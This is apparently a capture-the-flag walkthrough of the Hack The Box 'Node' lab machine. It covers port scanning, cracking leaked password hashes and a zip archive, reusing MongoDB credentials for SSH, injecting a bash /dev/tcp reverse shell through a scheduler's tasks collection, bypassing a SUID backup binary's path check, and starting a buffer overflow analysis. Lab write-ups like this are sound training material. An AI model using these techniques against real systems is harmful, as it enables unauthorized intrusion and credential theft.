# Node

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2Fl2X3CnUHNZk824BZ8oJN%2Fnode.png?alt=media&#x26;token=7fb39221-b45a-49f9-9267-4181614d5a3b" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.58 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the _allports_ file.

{% code overflow="wrap" %}
```bash
# Nmap 7.92 scan initiated Wed Sep 14 16:44:10 2022 as: nmap -sS --min-rate 5000 -n -Pn -p- -oN allPorts 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.045s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

# Nmap done at Wed Sep 14 16:44:37 2022 -- 1 IP address (1 host up) scanned in 26.54 seconds
```
{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,3000 10.10.10.58 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the _targeted_ file.

{% code overflow="wrap" %}
```bash
# Nmap 7.92 scan initiated Wed Sep 14 16:44:57 2022 as: nmap -sCV -p22,3000 -oN targeted 10.10.10.58
Nmap scan report for 10.10.10.58
Host is up (0.037s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 14 16:45:12 2022 -- 1 IP address (1 host up) scanned in 15.21 seconds
```
{% endcode %}

To get more information of the website on port _3000_, let's see what the _Wappalyzer extension_ detects.

{% hint style="info" %}
**Wappalyzer** is a browser extension capable of detecting the technology stack of any website. It reveals the technology stack of any website, such as CMS, ecommerce platform or payment processor, as well as company and contact details.

[https://www.wappalyzer.com/](https://www.wappalyzer.com/)
{% endhint %}

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FV53pxXo6js88neFQaJjL%2Fimage.png?alt=media&#x26;token=0045604d-d6e9-45d2-929e-c864d7f7eeaf" alt=""><figcaption></figcaption></figure>

The website is made in _Node.js_. It shows some users on the main page.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FV9dVstitEAUlgwrBqK1l%2Fimage.png?alt=media&#x26;token=64ce5666-0cf8-4cbe-a74a-a5aa8b31a935" alt=""><figcaption></figcaption></figure>

## Exploitation

In the source code, we can see a few _JavaScript_ files.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FH3g0sva3I2iHZZsGr0Oh%2Fimage.png?alt=media&#x26;token=121af9d7-2bd1-4a51-b681-1db0828b0837" alt=""><figcaption></figcaption></figure>

The script `/assets/js/app/controllers/admin.js` shows the `/login` directory, which contains a login page.

```javascript
var controllers = angular.module('controllers');

controllers.controller('AdminCtrl', function ($scope, $http, $location, $window) {
  $scope.backup = function () {
    $window.open('/api/admin/backup', '_self');
  }

  $http.get('/api/session')
    .then(function (res) {
      if (res.data.authenticated) {
        $scope.user = res.data.user;
      }
      else {
        $location.path('/login');
      }
    });
});
```

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F6ojLpXHhnozdEe15yCmU%2Fimage.png?alt=media&#x26;token=62be1efb-3859-4a03-81f1-3a575b7596d2" alt=""><figcaption></figcaption></figure>

The `/assets/js/app/controllers/profile.js` JavaScript file shows the `/api/users/` directory, which contains users, and their password hashes.

```javascript
var controllers = angular.module('controllers');

controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;

      if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});
```

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FGeypthYVLytUHj0TTGPs%2Fimage.png?alt=media&#x26;token=ffc632e8-43ca-42bf-9618-710013025277" alt=""><figcaption></figcaption></figure>

There is one user called `myP14ceAdm1nAcc0uNT` which is the admin user for the website. Let's make use of _rainbow tables_ and try to find out the password.

{% hint style="info" %}
CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash.

[https://crackstation.net/](https://crackstation.net/)
{% endhint %}

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FkmSxfrrpXodSFlhEJ3va%2Fimage.png?alt=media&#x26;token=2429abd7-5d22-4975-a6c9-9b1e611039f2" alt=""><figcaption></figcaption></figure>

Let's try to log in with those credentials in the `/login` page.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2FeOcvaobQ7ivTQJR9UCqj%2Fimage.png?alt=media&#x26;token=ed30f6b4-350c-40a6-aced-36d1b0b29432" alt=""><figcaption></figcaption></figure>

There is a button `Download Backup`, which will download a file called `myplace.backup`.

<figure><img src="https://1074697697-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FyIspp1QgGM7SFqLfTs4l%2Fuploads%2F4GcJYfDenRa1aApUWF3O%2Fimage.png?alt=media&#x26;token=d468c8c6-a164-4941-bafc-95249b5a57c5" alt=""><figcaption></figcaption></figure>

The file has a giant string encoded in _base64_.

> cat myplace.backup

```
UEsDBAo...UAAAA=
```

If we decoded, we'll see that it seems to be a `.zip` file. Let's put all the content in `myplace.backup.zip`.

> cat myplace.backup | base64 -d > myplace.backup.zip

We can't unzip it because we need a password.

> unzip myplace.backup.zip

```
Archive:  myplace.backup.zip
   creating: var/www/myplace/
[myplace.backup.zip] var/www/myplace/package-lock.json password:
```

Let's get the hash of the `.zip` file.

> zip2john myplace.backup.zip 2>/dev/null > myplace.backup.hash

Now, john should be able to crack the hash pretty fast.

> john --wordlist=/usr/share/wordlists/rockyou.txt myplace.backup.hash

```
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword        (myplace.backup.zip)     
1g 0:00:00:00 DONE (2022-09-14 23:09) 10.00g/s 1843Kp/s 1843Kc/s 1843KC/s sandriux..joan21
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now, we can unzip the file.

> unzip myplace.backup.zip

It looks like a backup of the entire `/var/www/html` directory. If we take a look inside the `app.js` file, we'll see some credentials.

> cat var/www/html/app.js

{% code overflow="wrap" %}
```javascript
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
```
{% endcode %}

Let's try to log in as the `mark` user in the machine via SSH.

> sshpass -p '5AYRft73VtFpc84k' ssh mark@10.10.10.58

```
              .-. 
        .-'``(|||) 
     ,`\ \    `-`.                 88                         88 
    /   \ '``-.   `                88                         88 
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88 
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88 
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88 
    \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88 
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888' 
        `-..-(   ) 
              `-` 




The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ whoami
mark
```

If we search for _SUID_ binaries in the system, we'll see one called `/usr/local/bin/backup`, which only _root_ and users in the `admin` group can execute.

> find / -perm /4000 2>/dev/null | xargs ls -l

```bash
...
-rwsr-xr-- 1 root   admin       16484 Sep  3  2017 /usr/local/bin/backup
...
```

Only _root_ and `tom` are members of the admin group.

> cat /etc/group | grep admin

```
admin:x:1002:tom,root
```

We might need to become `tom`. Let's see if there is any process run by `tom`.

> ps aux | grep tom

```
tom       1239  0.0  6.4 1023660 49212 ?       Ssl  21:26   0:01 /usr/bin/node /var/www/myplace/app.js
tom       1244  0.0  5.3 1008056 40392 ?       Ssl  21:26   0:01 /usr/bin/node /var/scheduler/app.js
```

There are a few processes. The second one is running the `/var/scheduler/app.js` script. The script is logging into a MongoDB app with the credentials we found earlier. Then, is checking inside the `scheduler` database for the `tasks` collection, and executing the value of the `cmd` key.

> cat /var/scheduler/app.js

{% code overflow="wrap" %}
```javascript
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});
```
{% endcode %}

Let's set a _netcat_ listener on port _4444_.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Access the `scheduler` database in _MongoDB_ with the credentials in the script.

> mongo -u mark -p 5AYRft73VtFpc84k scheduler

```
MongoDB shell version: 3.2.16
connecting to: scheduler
>
```

As expected, there is one collection called `tasks`.

> show collections

```
tasks
```

Now, let's insert into the `tasks` collection the key `cmd` with a command as a value, which will send us a reverse shell on port _4444_.

> db.tasks.insert({"cmd":"bash -c 'bash -i >& /dev/tcp/10.10.14.11/4444 0>&1'"})

```
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.58] 40680
bash: cannot set terminal process group (1244): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

tom@node:/$ whoami
whoami
tom
tom@node:/$ cat /home/tom/user.txt
cat /home/tom/user.txt
275c83d75312ae33f5522e08aeec505a
```

## Privilege Escalation

First, let's set an interactive _TTY_ shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

Now that we belong to the `admin` group, we can execute the SUID binary.

> id

{% code overflow="wrap" %}
```
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
```
{% endcode %}

If we execute the script by itself nothing happens.

> backup

But if we execute it with three arguments, we get some output.

> backup a b c

```
             ____________________________________________________                                                                   
            /                                                    \                                                                  
           |    _____________________________________________     |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |             Secure Backup v1.0              |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |                                             |    |                                                                 
           |   |_____________________________________________|    |                                                                 
           |                                                      |                                                                 
            \_____________________________________________________/                                                                 
                   \_______________________________________/                                                                        
                _______________________________________________                                                                     
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_                                                                  
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_                                                               
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_                                                            
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_                                                         
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_                                                      
:-----------------------------------------------------------------------------:                                                     
`---._.-----------------------------------------------------------------._.---'                                                     
                                                                                                                                    
                                                                                                                                    
 [!] Ah-ah-ah! You didn't say the magic word!
```

Let's take a look with _ltrace_ how the program is being executed. First, we can see that it is trying to compare the first argument with `-q`. This argument seems to activate the _quiet_ mode.

> ltrace backup a b c

```
...
strcmp("a", "-q")                                                                = 1
...
```

Second, it is comparing the second argument with each key stored in `/etc/myplace/keys`.

> ltrace backup -q b c

```
...
fopen("/etc/myplace/keys", "r")                                                  = 0x9e2f410                                        
fgets("a01a6aa5aaf1d7729f35c8278daae30f"..., 1000, 0x9e2f410)                    = 0xff84b8af                                       
strcspn("a01a6aa5aaf1d7729f35c8278daae30f"..., "\n")                             = 64                                               
strcmp("b", "a01a6aa5aaf1d7729f35c8278daae30f"...)                               = 1                                                
fgets("45fac180e9eee72f4fd2d9386ea7033e"..., 1000, 0x9e2f410)                    = 0xff84b8af                                       
strcspn("45fac180e9eee72f4fd2d9386ea7033e"..., "\n")                             = 64                                               
strcmp("b", "45fac180e9eee72f4fd2d9386ea7033e"...)                               = 1                                                
fgets("3de811f4ab2b7543eaf45df611c2dd25"..., 1000, 0x9e2f410)                    = 0xff84b8af                                       
strcspn("3de811f4ab2b7543eaf45df611c2dd25"..., "\n")                             = 64                                               
strcmp("b", "3de811f4ab2b7543eaf45df611c2dd25"...)                               = 1
...
```

We can take a look at the `/etc/myplace/keys` file.

> cat /etc/myplace/keys

{% code overflow="wrap" %}
```
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508                                                                    
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474                                                                    
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
```
{% endcode %}

If we run the binary without the quiet mode, and giving a proper key, we'll see that it is checking if the third argument exists.

> &#x20;backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 c

{% code overflow="wrap" %}
```
...
 [+] Validated access token                                                                                                         
 [+] Starting archiving c                                                                                                        
 [!] The target path doesn't exist
...
```
{% endcode %}

If we try to give it a path that exists, such as `/tmp`, we'll get a _base64_ encoded string.

> backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp

{% code overflow="wrap" %}
```
...
 [+] Validated access token                                                                                                         
 [+] Starting archiving /tmp                                                                                                        
zip warning: No such device or address                                                                                              
 [+] Finished! Encoded backup is below:                                                                                             
                                                                                                                                    
UEsDBAoAAAA...FgMAAAAA
```
{% endcode %}

With _ltrace_, we can see that it is creating a _ZIP_ file with the protected password `magicword`, and then it is encoding the content in _base64_.

> ltrace backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp

{% code overflow="wrap" %}
```
...
sprintf("/usr/bin/zip -r -P magicword /tm"..., "/usr/bin/zip -r -P magicword %s "..., "/tmp/.backup_1940724586", "/tmp") = 69
...
```
{% endcode %}

As this binary is _SUID_, and we are executing it as _root_, we could try to give the `/root` path as an argument, so then we can decode it, unzip it and take the _root_ flag.

> backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /root

{% code overflow="wrap" %}
```
...
 [+] Validated access token                                                                                                         
 [+] Finished! Encoded backup is below:                                                                                             
                                                                                                                                    
UEsDBD...AB4EAAAAAA==
```
{% endcode %}

Let's copy the string, put it in the `root.encoded` file, decode it, and put the content in the `root.zip` file.

> cat root.encoded | base64 -d > root.zip

Then, decompress the file with _7z_ giving the password `magicword`.

> 7z x root.zip

{% code overflow="wrap" %}
```
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz (406E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1141 bytes (2 KiB)

Extracting archive: root.zip
--
Path = root.zip
Type = zip
Physical Size = 1141

    
Enter password (will not be echoed): magicword
Everything is Ok

Size:       2584
Compressed: 1141
```
{% endcode %}

But, if we see the root flag, we'll see that we got trolled.

> cat root.txt

```
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____.  -~""??9VWQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
QQQQQQQP'.yQQQQQQQQQQQP"       <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
QQQQQP'_a.<aamQQQW!<yF "!` ..  "??$Qa "WQQQWTVP'    "??' =QQmWWV?46/ ?QQQQQ
QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
QQ[ j@mQP'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"`  -?QzQ7L ]QQQ
QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa   .QP4QQQQfWkl jQQQ
QE ]QkQk $D?`  waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
QQ,-Qm4Q/-QmQ6 "WWQma/  "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@  "QW@?$:.yQQQQ
QQm/-4wTQgQWQQ,  ?4WWk 4waac -???$waQQQQQQQQF??'<mWWWWWQW?^  ` ]6QQ' yQQQQQ
QQQQw,-?QmWQQQQw  a,    ?QWWQQQw _.  "????9VWaamQWV???"  a j/  ]QQf jQQQQQQ
QQQQQQw,"4QQQQQQm,-$Qa     ???4F jQQQQQwc <aaas _aaaaa 4QW ]E  )WQ`=QQQQQQQ
QQQQQQWQ/ $QQQQQQQa ?H ]Wwa,     ???9WWWh dQWWW,=QWWU?  ?!     )WQ ]QQQQQQQ
QQQQQQQQQc-QWQQQQQW6,  QWQWQQQk <c                             jWQ ]QQQQQQQ
QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,.,                . .; QWQ.]QQQQQQQ
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,,    --~-- ---  . _ssawmQQQQQQk 3QQQQWQ
QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ
QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ
QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,.  -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ
```

If we take a look at the command with _ltrace_, we'll see that at some point it is checking if the third argument is `/root`.

> ltrace backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /root

```
strstr("/root", "/root")                                                         = "/root" 
```

The problem is that it is checking if it is `/root`, so we could go to the `/` directory and execute the binary giving `root` as the third argument. This way we can bypass the restriction, and we'll be able to zip the _root_ directory.

> cd /
>
> backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 root

{% code overflow="wrap" %}
```
...
 [+] Validated access token
 [+] Starting archiving root                                                                                                        
 [+] Finished! Encoded backup is below:                                                                                             
                                                                                                                                    
UEsDBAoAAAAAA....gIAAKAKAAAAAA==
```
{% endcode %}

Let's make the `root.zip` file again.

> cat root.encoded | base64 -d > root.zip

Then, decompress the file with _7z_ giving the password `magicword`.

> 7z x root.zip

{% code overflow="wrap" %}
```
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6500U CPU @ 2.50GHz (406E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1141 bytes (2 KiB)

Extracting archive: root.zip
--
Path = root.zip
Type = zip
Physical Size = 1141

    
Enter password (will not be echoed): magicword
Everything is Ok

Size:       2584
Compressed: 1141
```
{% endcode %}

This time we are able to see the correct root flag.

> cat root/root.txt

```
ebbdb9069c32150e8a14029e929c5839
```

## Buffer Overflow

There is a way to get a shell as _root_ by exploiting a buffer overflow vulnerability in the `backup` binary. If we give 1000 `A` characters as the third argument of the binary, we'll get a segmentation fault.

> backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 $(python -c "print('A'\*1000)")

```
...
Segmentation fault (core dumped)
```

Let's transfer the binary to our local machine. Set a _netcat_ listener on port _5555_ pointing to `backup`.

> nc -lvnp 5555 > backup

Then, transfer the binary from the victim machine.

> nc 10.10.14.11 5555 < /usr/local/bin/backup

In order to make the binary work, we'll have to give it execution permissions, and we'll have to create the /etc/myplace/keys file on our local machine with the keys.

> chmod +x backup
>
> nano /etc/myplace/keys

```
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
```

We are ready to exploit the buffer overflow.  Let's run the binary with _gdb_.

> gdb ./backup

```
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from ./backup...
(No debugging symbols found in ./backup)
```

Note that I am using _gef_. The same way as before, if I run the script with 1000 `A` characters, it will crash, and I'll be able to see all the registries filled with `41`.

> gef➤ r $(python -c "print('A'\*500)")

```
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x40b     
$ebx   : 0xffffcf70  →  0x00000004
$ecx   : 0x0       
$edx   : 0xf7fc41c0  →  0xf7fc41c0  →  [loop detected]
$esp   : 0xffffbe90  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0xffffd024  →  0xffffd1b7  →  "/home/alfa8sa/HTB/machines/node/backup"
$edi   : 0xffffcebf  →  0x00796500
$eip   : 0x41414141 ("AAAA"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffbe90│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"    ← $esp
0xffffbe94│+0x0004: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffbe98│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffbe9c│+0x000c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffbea0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffbea4│+0x0014: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffbea8│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffbeac│+0x001c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414141
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "backup", stopped 0x41414141 in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

The program only has the _NX_ memory protection enabled.

{% hint style="info" %}
**Data Execution Prevention (DEP) or No-Execute (NX)** works with the processor to help prevent buffer overflow attacks by blocking code execution from memory that is marked as non-executable.
{% endhint %}

> gef➤ checksec

```
[+] checksec for '/home/alfa8sa/HTB/machines/node/backup'
Canary                        : ✘ 
NX                            : ✓ 
PIE                           : ✘ 
